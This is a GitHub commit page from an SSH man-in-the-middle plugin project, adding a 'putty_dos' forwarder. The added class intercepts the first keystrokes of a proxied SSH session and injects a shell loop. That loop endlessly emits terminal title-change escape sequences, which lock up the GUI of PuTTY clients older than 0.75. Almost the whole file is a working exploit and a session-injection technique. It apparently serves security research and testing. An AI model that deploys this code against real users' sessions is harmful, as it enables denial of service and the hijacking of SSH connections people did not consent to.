Skip to content

Commit 0183b90

Browse files
committed
Added DoS attack
1 parent 5731990 commit 0183b90

File tree

2 files changed

+30
-1
lines changed

2 files changed

+30
-1
lines changed

ssh_mitm_plugins/__entrypoints__.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,8 @@
22
'SSHBaseForwarder': [
33
'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder',
44
'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder',
5-
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
5+
'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder',
6+
'puttydos = ssh_mitm_plugins.ssh.putty_dos:SSHPuttyDoSForwarder'
67
],
78
'SCPBaseForwarder': [
89

ssh_mitm_plugins/ssh/putty_dos.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
from ssh_proxy_server.forwarders.ssh import SSHForwarder
2+
3+
4+
class SSHPuttyDoSForwarder(SSHForwarder):
5+
"""PuTTY < 0.75: DoS on Windows/Linux clients
6+
7+
Security fix: a server could DoS the whole Windows/Linux GUI by telling
8+
the PuTTY window to change its title repeatedly at high speed.
9+
10+
PuTTY-Changelog: https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html
11+
"""
12+
13+
def __init__(self, session):
14+
super().__init__(session)
15+
self.exploit = [
16+
"PS1=''",
17+
"while :",
18+
"do",
19+
"echo -ne '\\033]0: NEW_TITLE${RANDOM} \\007'",
20+
"done"
21+
]
22+
self.executed = False
23+
24+
def stdin(self, text):
25+
if not self.executed:
26+
self.executed = True
27+
return '\n'.join(self.exploit)
28+
return text

0 commit comments

Comments
 (0)